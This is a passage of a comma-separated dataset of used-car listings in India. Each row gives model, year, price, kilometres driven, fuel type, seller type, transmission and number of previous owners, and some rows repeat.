VDI,2018,700000,38217,Diesel,Individual,Manual,First Owner +Ford Figo Petrol ZXI,2011,185000,50000,Petrol,Individual,Manual,Third Owner +Maruti Ritz VDi,2011,200000,120000,Diesel,Individual,Manual,First Owner +Mahindra Bolero DI,2004,315000,110000,Diesel,Individual,Manual,Third Owner +Tata Hexa XT,2019,1100000,40000,Diesel,Individual,Manual,First Owner +Hyundai Santro LP zipPlus,2001,52000,50000,Petrol,Individual,Manual,Third Owner +Hyundai i20 Active 1.2 S,2017,600000,10000,Petrol,Individual,Manual,First Owner +Tata Harrier XZ BSIV,2019,1700000,10000,Diesel,Individual,Manual,First Owner +Nissan Terrano XL Plus 85 PS,2015,451000,100000,Diesel,Individual,Manual,First Owner +Mahindra KUV 100 mFALCON G80 K8 5str,2016,370000,60000,Petrol,Individual,Manual,First Owner +Ford Endeavour 3.2 Titanium AT 4X4,2017,2700000,30000,Diesel,Individual,Automatic,First Owner +Renault KWID RXT Optional,2016,280000,23000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV,2017,350000,30000,Petrol,Individual,Manual,First Owner +Hyundai i10 Sportz,2011,250000,50000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2014,204999,25000,Petrol,Individual,Manual,Second Owner +Maruti Ignis 1.2 Delta BSIV,2019,500000,15000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Aqua TDI BSIII,2009,150000,30000,Diesel,Individual,Manual,First Owner +Chevrolet Spark 1.0 LS,2010,175000,45000,Petrol,Individual,Manual,Second Owner +Chevrolet Spark 1.0 LS,2009,170000,44800,Petrol,Individual,Manual,Second Owner +Tata Manza Aura Safire,2010,200000,50000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.4 E Plus,2018,800000,52000,Diesel,Individual,Manual,First Owner +Tata Hexa XTA,2017,1200000,50000,Diesel,Individual,Automatic,First Owner +Toyota Corolla Altis 1.8 J,2008,400000,35000,Petrol,Individual,Manual,Second Owner +Maruti Ritz VDi,2010,148000,100000,Diesel,Individual,Manual,Second Owner +Tata Manza Club Class Quadrajet90 LS,2014,200000,100000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2016,284000,40000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXI Minor,2007,80000,60000,Petrol,Individual,Manual,Third Owner +Chevrolet Beat PS,2014,170000,77000,Petrol,Individual,Manual,First Owner +Hyundai Accent Executive,2011,150000,60000,Petrol,Individual,Manual,First Owner +Tata Manza Aura (ABS) Safire BS IV,2010,110000,77073,Petrol,Individual,Manual,Second Owner +Ford Figo Aspire 1.5 TDCi Titanium,2016,400000,70000,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna LPG,2013,275000,90000,LPG,Individual,Manual,Second Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2013,800000,186000,Diesel,Individual,Manual,Third Owner +Mahindra Scorpio M2DI,2014,550000,90000,Diesel,Individual,Manual,First Owner +Maruti Alto LX BSIII,2007,125000,100000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat LT,2010,135000,80000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio LX BSIV,2012,349000,150000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2014,458000,80000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 VXI,2018,300000,35000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2008,95000,70000,Petrol,Individual,Manual,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2018,850000,50000,Diesel,Individual,Manual,First Owner +Ford Freestyle Titanium Diesel,2019,750000,25000,Diesel,Individual,Manual,First Owner +Ford Figo Diesel Celebration Edition,2013,190000,120000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2009,150000,70000,Petrol,Individual,Manual,First Owner +Hyundai Accent GLE,2009,114999,106000,Petrol,Individual,Manual,Third Owner +Toyota Innova 2.0 VX 7 Seater,2010,320000,120000,Petrol,Individual,Manual,Third Owner +Maruti Alto 800 CNG LXI Optional,2019,300000,120000,CNG,Individual,Manual,First Owner +Maruti Ritz LXi,2016,275000,160000,Petrol,Individual,Manual,First Owner +Chevrolet Aveo 1.6 LT with ABS,2010,140000,120000,Petrol,Individual,Manual,Second Owner +Tata Altroz XZ,2020,830000,10000,Petrol,Individual,Manual,First Owner +Volkswagen Polo SR Petrol 1.2L,2013,380000,50000,Petrol,Individual,Manual,First Owner +Hyundai i10 Magna 1.2,2010,150000,90000,Petrol,Individual,Manual,Second Owner +Chevrolet Spark 1.0 LS,2008,50000,70000,Petrol,Individual,Manual,First Owner +Mahindra Bolero SLX,2008,155000,100000,Diesel,Individual,Manual,First Owner +Mahindra Bolero SLX,2008,155000,100000,Diesel,Individual,Manual,First Owner +Skoda Superb 1.8 TFSI MT,2010,300000,80000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2018,300000,16584,Petrol,Dealer,Manual,First Owner +Tata Tiago 2019-2020 XE Diesel,2016,385000,38000,Diesel,Dealer,Manual,First Owner +Maruti Wagon R LXI,2010,221000,51000,Petrol,Dealer,Manual,First Owner +Tata Tiago 1.05 Revotorq XE,2016,381000,38000,Diesel,Dealer,Manual,First Owner +Maruti Alto 800 LXI,2015,250999,35000,Petrol,Dealer,Manual,First Owner +Hyundai Santro LS zipPlus,2002,60000,120000,Petrol,Individual,Manual,Third Owner +Tata Tiago 1.05 Revotorq XE,2016,380000,38000,Diesel,Dealer,Manual,First Owner +Skoda Laura L n K 1.9 PD,2008,180000,144000,Diesel,Individual,Manual,Third Owner +Maruti Ciaz ZDi Plus,2017,751000,64000,Diesel,Dealer,Manual,First Owner +Mahindra XUV500 AT W10 FWD,2015,1250000,60000,Diesel,Dealer,Automatic,First Owner +Hyundai EON 1.0 Era Plus,2014,229999,65000,Petrol,Dealer,Manual,First Owner +Tata Safari Storme EX,2019,1250000,24000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLX 2WD BSIV,2014,782000,58000,Diesel,Dealer,Manual,Second Owner +Mahindra Scorpio VLX 2.2 mHawk Airbag BSIV,2014,780000,58000,Diesel,Dealer,Manual,Second Owner +Maruti Alto 800 LXI,2016,245000,68000,Petrol,Dealer,Manual,First Owner +Hyundai i20 1.4 CRDi Sportz,2011,321000,81257,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 1.2 CRDi Sportz Option,2017,509999,44000,Diesel,Dealer,Manual,First Owner +Tata Nano CX SE,2015,110000,45000,Petrol,Dealer,Manual,First Owner +Volkswagen Polo Diesel Highline 1.2L,2013,400000,75000,Diesel,Dealer,Manual,First Owner +Maruti Swift VXI,2013,370000,90000,Petrol,Individual,Manual,First Owner +Hyundai Verna CRDi ABS,2007,175000,80000,Diesel,Individual,Manual,Second Owner +Mercedes-Benz E-Class 230,1998,1000000,35000,Petrol,Individual,Automatic,Second Owner +Maruti Alto 800 LXI,2013,92800,25000,Petrol,Individual,Manual,Second Owner +Tata Xenon XT EX 4X2,2014,291000,90000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2013,92800,25000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX CRDi (O),2013,335000,110000,Diesel,Individual,Manual,Third Owner +Maruti Omni 8 Seater BSIV,2013,170000,35000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2019,295000,10000,Petrol,Individual,Manual,First Owner +Renault KWID RXL,2019,375000,10000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2012,215000,70000,Petrol,Individual,Manual,Second Owner +Ford Fiesta 1.4 ZXi TDCi ABS,2009,150000,110000,Diesel,Individual,Manual,Second Owner +Maruti Alto LXI,2003,60000,5000,Petrol,Individual,Manual,Second Owner +Maruti Alto LX,2006,52000,120000,Petrol,Individual,Manual,Third Owner +Maruti Omni LPG CARGO BSIII W IMMOBILISER,2009,80000,90000,LPG,Individual,Manual,Second Owner +Maruti Alto LX,2012,140000,70000,Petrol,Individual,Manual,Second Owner +Hyundai Verna i (Petrol),2008,120000,90000,Petrol,Individual,Manual,Second Owner +Ford Fiesta Classic 1.4 SXI Duratorq,2006,110000,120000,Diesel,Individual,Manual,Third Owner +Tata New Safari Dicor EX 4X2 BS IV,2012,280000,110000,Diesel,Individual,Manual,Fourth & Above Owner +Toyota Etios VD,2016,450000,50000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W7,2018,1150000,58000,Diesel,Individual,Manual,First Owner +Maruti Baleno Delta 1.3,2018,650000,15000,Diesel,Individual,Manual,First Owner +Tata Zest Revotron 1.2T XE,2015,300000,60000,Petrol,Individual,Manual,Second Owner +Tata Nano Twist XT,2015,73000,57000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2015,400000,87000,Diesel,Individual,Manual,Third Owner +Renault KWID 1.0 RXT Optional,2017,300000,70000,Petrol,Individual,Manual,First Owner +Maruti Wagon R AX,2012,300000,30000,Petrol,Individual,Automatic,Second Owner +Maruti Swift Dzire VDI,2012,450000,80000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing GLS,2009,200000,100000,Petrol,Individual,Manual,Second Owner +Maruti Swift VXI,2019,580000,40000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2017,550000,3917,Petrol,Individual,Manual,First Owner +Mahindra Scorpio SLX 2.6 Turbo 8 Str,2007,190000,160000,Diesel,Individual,Manual,Second Owner +Tata Tiago 1.05 Revotorq XT Option,2017,450000,35000,Diesel,Individual,Manual,First Owner +Chevrolet Spark 1.0 LS,2014,220000,70000,Petrol,Individual,Manual,First Owner +Maruti SX4 ZXI MT BSIV,2012,310000,69069,Petrol,Dealer,Manual,First Owner +Hyundai Elite i20 Sportz Plus BSIV,2019,650000,13500,Petrol,Individual,Manual,First Owner +Maruti Wagon R Stingray VXI,2014,300000,59059,Petrol,Dealer,Manual,First Owner +Hyundai Accent Executive,2013,200000,70000,Petrol,Individual,Manual,First Owner +Honda Brio S MT,2012,285000,39039,Petrol,Dealer,Manual,First Owner +Honda Brio Exclusive Edition,2014,335000,33033,Petrol,Dealer,Manual,First Owner +Hyundai Verna Transform SX VTVT,2011,370000,55168,Petrol,Individual,Manual,Second Owner +Hyundai i20 1.2 Sportz,2013,375000,41041,Petrol,Dealer,Manual,First Owner +Hyundai i10 Magna,2009,235000,67067,Petrol,Dealer,Manual,First Owner +Hyundai i10 Sportz 1.2 AT,2013,345000,66066,Petrol,Dealer,Automatic,First Owner +Mahindra Quanto C8,2013,365000,82082,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 Sportz,2014,400000,48000,Petrol,Individual,Manual,First Owner +Hyundai EON D Lite Plus,2015,250000,30000,Petrol,Individual,Manual,First Owner +Hyundai Verna SX CRDi AT,2012,465000,70070,Diesel,Dealer,Automatic,First Owner +Renault KWID RXT,2017,300000,10000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire ZXI 1.2 BS IV,2018,655000,25000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI CNG,2016,350000,30000,CNG,Individual,Manual,Second Owner +Hyundai i10 Sportz 1.2 AT,2015,500000,50000,Petrol,Dealer,Automatic,First Owner +Hyundai Grand i10 AT Asta,2015,465000,63063,Petrol,Dealer,Automatic,First Owner +Maruti Swift VDi BSIII W/ ABS,2008,263000,70000,Diesel,Individual,Manual,First Owner +Maruti Omni MPI STD BSIV,2012,250000,90000,Petrol,Individual,Manual,First Owner +Hyundai Accent GLE 1,1999,60000,90000,Petrol,Individual,Manual,Fourth & Above Owner +Hyundai Getz GLX,2005,70000,90000,Petrol,Individual,Manual,Third Owner +Chevrolet Sail Hatchback 1.2 LS,2016,250000,30000,Petrol,Individual,Manual,First Owner +Hyundai EON Magna Plus,2016,229999,80000,Petrol,Individual,Manual,First Owner +Chevrolet Optra Magnum 2.0 LS,2011,195000,120000,Diesel,Individual,Manual,First Owner +Datsun RediGO S,2016,270000,22000,Petrol,Individual,Manual,First Owner +Honda WR-V i-DTEC VX,2017,650000,140000,Diesel,Individual,Manual,First Owner +Hyundai i20 Asta 1.4 CRDi,2014,370000,80000,Diesel,Individual,Manual,Second Owner +Maruti Swift VDI Optional,2016,509999,40000,Diesel,Individual,Manual,First Owner +Maruti Zen Estilo VXI BSIV,2011,280000,33000,Petrol,Individual,Manual,First Owner +Maruti A-Star Vxi,2010,180000,40000,Petrol,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2018,300000,10500,Petrol,Individual,Manual,First Owner +Mahindra Bolero 2011-2019 SLX,2013,400000,107000,Diesel,Individual,Manual,First Owner +Hyundai i10 Sportz 1.2,2010,210000,60000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing XG eRLX Euro III,2006,90000,120000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI BS IV,2010,222000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2015,240000,50000,Petrol,Individual,Manual,Second Owner +Toyota Etios Liva GD,2013,450000,70000,Diesel,Individual,Manual,Second Owner +Ford Ecosport 1.5 Petrol Ambiente,2017,650000,6000,Petrol,Individual,Manual,First Owner +Hyundai Verna SX Diesel,2010,200000,78000,Diesel,Dealer,Manual,Second Owner +Hyundai Verna SX Diesel,2011,210000,72000,Diesel,Dealer,Manual,Third Owner +Tata Nano Cx BSIV,2011,75000,9528,Petrol,Dealer,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater,2011,450000,135200,Diesel,Dealer,Manual,First Owner +Hyundai i20 1.2 Sportz,2011,220000,58000,Petrol,Dealer,Manual,Second Owner +Hyundai i20 Magna 1.4 CRDi (Diesel),2013,325000,78000,Diesel,Dealer,Manual,Second Owner +Tata Zest Revotron 1.2T XE,2018,450000,45000,Petrol,Individual,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2017,825000,35000,Diesel,Individual,Manual,First Owner +Hyundai Accent GLS,2007,125000,76000,Petrol,Dealer,Manual,Third Owner +Mahindra Xylo D2 BS IV,2015,434999,100000,Diesel,Individual,Manual,Third Owner +Mahindra Scorpio SLE BSIV,2011,484999,99000,Diesel,Individual,Manual,Second Owner +Maruti Ritz VDi,2009,175000,80000,Diesel,Individual,Manual,Third Owner +Honda Civic 1.8 S MT,2006,220000,120000,Petrol,Individual,Manual,Third Owner +Honda BR-V i-VTEC VX MT,2020,1250000,1100,Petrol,Dealer,Manual,First Owner +Maruti Omni E MPI STD BS IV,2017,215000,34000,Petrol,Dealer,Manual,First Owner +Mahindra XUV500 W6 2WD,2014,625000,68000,Diesel,Dealer,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium BSIV,2018,615000,15000,Diesel,Individual,Manual,First Owner +Chevrolet Beat Diesel PS,2012,130000,58000,Diesel,Dealer,Manual,First Owner +Tata Indigo CS eLX BS IV,2013,175000,50300,Diesel,Individual,Manual,First Owner +Tata Indigo CR4,2011,150000,70000,Diesel,Individual,Manual,Second Owner +Tata Indica Vista TDI LS,2011,195000,60000,Diesel,Individual,Manual,Third Owner +Maruti Ertiga 1.5 VDI,2020,550000,90000,Diesel,Individual,Manual,First Owner +Isuzu D-Max V-Cross Standard,2018,1500000,40000,Diesel,Individual,Manual,First Owner +Skoda Superb 1.8 TFSI MT,2010,400000,80000,Petrol,Individual,Manual,Second Owner +Nissan Kicks XV Premium D BSIV,2019,1350000,15000,Diesel,Individual,Manual,First Owner +Maruti Swift 1.2 DLX,2015,217000,45000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2011,290000,130000,Diesel,Individual,Manual,Second Owner +Mahindra Bolero Power Plus SLX,2018,700000,80000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 Base,2014,175000,40000,Petrol,Individual,Manual,First Owner +Volkswagen Ameo 1.5 TDI Highline 16 Alloy,2017,575000,80000,Diesel,Individual,Manual,First Owner +Maruti Ritz LDi,2016,380000,100000,Diesel,Individual,Manual,Second Owner +Mahindra Xylo D4 BSIV,2013,350000,151624,Diesel,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL Optional,2012,450000,160000,Diesel,Individual,Manual,First Owner +Hyundai Santro AT CNG,2005,130000,110000,CNG,Individual,Manual,Second Owner +Maruti Swift VDI BSIV,2015,320000,74820,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W6 2WD,2014,550000,82000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV,2015,370000,50000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat LT,2010,114999,70000,Petrol,Individual,Manual,Second Owner +Ford Ecosport Sports Petrol,2020,1100000,1000,Petrol,Individual,Manual,First Owner +Hyundai Tucson CRDi,2006,170000,170000,Diesel,Individual,Manual,First Owner +Tata Indigo TDI,2008,80000,150000,Diesel,Individual,Manual,Third Owner +Ford EcoSport 1.5 Diesel Titanium BSIV,2019,950000,17000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,425000,150000,Diesel,Individual,Manual,First Owner +Hyundai i20 Asta Option 1.4 CRDi,2015,500000,80000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XG eRLX Euro III,2005,70000,170000,Petrol,Individual,Manual,Third Owner +Honda Amaze S i-Dtech,2013,349000,120000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Sportz,2012,330000,90000,Petrol,Individual,Manual,Third Owner +Hyundai Santro Xing GLS,2010,120000,90000,Petrol,Individual,Manual,Third Owner +Hyundai Verna 1.6 SX CRDi (O),2013,430000,100000,Diesel,Individual,Manual,Second Owner +Maruti Swift VDI BSIV,2014,390000,90000,Diesel,Individual,Manual,First Owner +Nissan Micra Diesel XV Primo,2012,225000,129000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLS AT 2.2 mHAWK,2010,350000,186000,Diesel,Individual,Automatic,Second Owner +Tata Sumo LX,2009,100000,66778,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2014,190000,50000,Petrol,Individual,Manual,First Owner +Hyundai i20 Sportz 1.4 CRDi,2014,315000,110000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 CRDi Magna,2015,300000,60000,Diesel,Individual,Manual,Second Owner +Renault KWID RXT,2016,280000,40000,Petrol,Individual,Manual,First Owner +Hyundai Tucson 2.0 e-VGT 2WD MT,2017,1650000,55000,Diesel,Dealer,Manual,First Owner +Hyundai EON Era Plus,2015,295000,21000,Petrol,Dealer,Manual,Second Owner +Jaguar XF 5.0 Litre V8 Petrol,2012,2050000,66363,Petrol,Dealer,Automatic,Second Owner +Hyundai Creta 1.6 VTVT AT SX Plus,2018,1475000,11700,Petrol,Dealer,Automatic,First Owner +Hyundai Verna VTVT 1.6 AT SX Option,2017,1100000,10000,Petrol,Individual,Automatic,First Owner +Mercedes-Benz GL-Class 350 CDI Blue Efficiency,2014,4400000,100000,Diesel,Individual,Automatic,Second Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Volkswagen Polo GTI,2017,850000,20000,Petrol,Dealer,Automatic,Second Owner +Renault Pulse RxL,2015,390000,61585,Diesel,Trustmark Dealer,Manual,First Owner +Maruti Celerio VXI AMT BSIV,2016,450000,39415,Petrol,Trustmark Dealer,Automatic,Second Owner +Honda Brio V MT,2014,425000,29654,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Baleno Alpha 1.3,2016,770000,64672,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai Creta 1.6 SX Automatic Diesel,2015,1150000,54634,Diesel,Trustmark Dealer,Automatic,Second Owner +Honda City i VTEC V,2015,775000,66521,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Elite i20 Asta Option CVT BSIV,2019,720000,3000,Petrol,Individual,Automatic,First Owner +Toyota Innova Crysta 2.4 GX AT,2018,1725000,23974,Diesel,Dealer,Automatic,Second Owner +Tata Tiago 1.2 Revotron XZ,2018,539000,10000,Petrol,Individual,Manual,First Owner +Maruti Celerio ZXI,2017,420000,50000,Petrol,Individual,Manual,First Owner +Maruti Omni E 8 Str STD,2001,85000,70000,Petrol,Individual,Manual,Third Owner +OpelCorsa 1.6Gls,2004,142000,73000,Petrol,Individual,Manual,Fourth & Above Owner +Hyundai EON D Lite,2014,180000,76000,Petrol,Individual,Manual,Second Owner +Chevrolet Tavera Neo 3 Max 9 Str BSIII,2014,400000,120000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio VLX 2WD ABS AT BSIII,2009,360000,170000,Diesel,Individual,Automatic,Third Owner +Hyundai Santro Xing XG,2003,85000,110000,Petrol,Individual,Manual,Second Owner +Honda Brio 1.2 S MT,2016,350000,63400,Petrol,Individual,Manual,First Owner +Datsun GO Plus T BSIV,2015,380000,25000,Petrol,Individual,Manual,First Owner +Hyundai i10 Era,2009,140000,80000,Petrol,Individual,Manual,Third Owner +Maruti Wagon R VXI BS IV,2012,200000,90000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing GL,2011,150000,157000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LS,2012,150000,80000,Diesel,Individual,Manual,Second Owner +Maruti 800 Std BSII,2006,90000,40000,Petrol,Individual,Manual,Second Owner +Mahindra Bolero SLX 2WD,2007,300000,100000,Diesel,Individual,Manual,Second Owner +Renault KWID RXT,2017,280000,50000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 2010-2014 VXI,2011,200000,40000,Petrol,Individual,Manual,First Owner +Chevrolet Aveo U-VA 1.2 LT WO ABS Airbag,2009,110000,38500,Petrol,Individual,Manual,Second Owner +Hyundai i10 Magna,2008,140000,103921,Petrol,Individual,Manual,Second Owner +Hyundai Creta 1.4 EX Diesel,2020,1050000,10000,Diesel,Individual,Manual,First Owner +Honda City i-VTEC VX,2018,1150000,14825,Petrol,Dealer,Manual,First Owner +Honda BR-V i-DTEC VX MT,2016,910000,43377,Diesel,Dealer,Manual,First Owner +Ford Figo Diesel Titanium,2010,160000,102307,Diesel,Dealer,Manual,First Owner +Maruti Zen LX,2004,105000,79000,Petrol,Individual,Manual,Second Owner +Skoda Octavia Elegance 2.0 TDI AT,2014,1200000,135000,Diesel,Individual,Automatic,Third Owner +Renault KWID 1.0 RXT Optional,2018,300000,10500,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI,2004,70000,90000,Petrol,Individual,Manual,Fourth & Above Owner +Chevrolet Beat Diesel,2012,160000,110000,Diesel,Individual,Manual,First Owner +Chevrolet Beat Diesel LS,2012,160000,50000,Diesel,Individual,Manual,First Owner +Chevrolet Sail Hatchback LT ABS,2013,225000,80000,Diesel,Individual,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2018,790000,19571,Diesel,Dealer,Manual,First Owner +Honda City 1.3 EXI,2002,145000,100000,Petrol,Individual,Manual,First Owner +Honda City i-VTEC ZX,2018,1200000,29600,Petrol,Dealer,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2018,930000,20000,Diesel,Individual,Manual,First Owner +Hyundai EON D Lite,2016,210000,30000,Petrol,Individual,Manual,First Owner +Hyundai Getz 1.5 CRDi GVS,2008,110000,154000,Diesel,Individual,Manual,Third Owner +Maruti Swift LXI,2011,175000,70000,Petrol,Individual,Manual,First Owner +Maruti Vitara Brezza ZDi Plus AMT Dual Tone,2018,950000,15000,Diesel,Individual,Automatic,First Owner +Renault Lodgy Stepway 85PS RXZ 8S,2017,650000,40000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI,2019,550000,51000,Petrol,Individual,Manual,First Owner +Maruti Alto LX BSIII,2008,85000,120000,Petrol,Individual,Manual,Second Owner +Maruti Celerio LXI MT BSIV,2019,340000,50000,Petrol,Individual,Manual,First Owner +Renault Captur 1.5 Diesel RXT,2017,825000,13500,Diesel,Individual,Manual,First Owner +Toyota Etios 1.5 V,2016,509999,35000,Petrol,Individual,Manual,First Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Maruti Baleno Alpha 1.3,2017,650000,70000,Diesel,Individual,Manual,First Owner +Chevrolet Spark 1.0 LS,2011,140000,60000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi,2011,150000,70000,Petrol,Individual,Manual,First Owner +Datsun GO Plus A Option Petrol,2018,450000,10000,Petrol,Individual,Manual,Second Owner +Hyundai Accent CRDi,2006,170000,245244,Diesel,Individual,Manual,Fourth & Above Owner +Renault KWID 1.0 RXT Optional,2017,400000,60000,Petrol,Individual,Manual,First Owner +Tata Tiago 1.2 Revotron XE,2016,300000,30000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 Base,2012,250000,8000,Petrol,Individual,Manual,First Owner +Tata Tigor 1.2 Revotron XM,2019,500000,10000,Petrol,Individual,Manual,First Owner +Hyundai Accent CRDi,2002,85000,100000,Diesel,Individual,Manual,Third Owner +Nissan Sunny Diesel XL,2012,300000,110000,Diesel,Individual,Manual,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Mahindra XUV500 AT W8 FWD,2015,740000,45000,Diesel,Dealer,Automatic,First Owner +Hyundai Santro Xing XG,2005,70000,68500,Petrol,Dealer,Manual,First Owner +Hyundai Santro Sportz AMT,2019,484999,5007,Petrol,Dealer,Automatic,First Owner +Nissan Micra Active XV S,2013,164000,30000,Petrol,Individual,Manual,First Owner +Honda City 1.5 V AT,2008,140000,70000,Petrol,Individual,Automatic,First Owner +Mercedes-Benz E-Class E250 CDI Elegance,2011,999000,49600,Diesel,Dealer,Automatic,First Owner +Maruti Alto LXI,2005,56000,23000,Petrol,Individual,Manual,Second Owner +BMW 7 Series 730Ld,2006,1050000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Verna 1.6 VTVT,2010,190000,38000,Petrol,Dealer,Manual,First Owner +Audi Q5 3.0 TDI Quattro Technology,2018,3899000,22000,Diesel,Dealer,Automatic,First Owner +Hyundai i10 Sportz 1.2,2011,235000,43100,Petrol,Dealer,Manual,First Owner +Datsun GO Plus T,2017,350000,10171,Petrol,Dealer,Manual,First Owner +Renault Duster 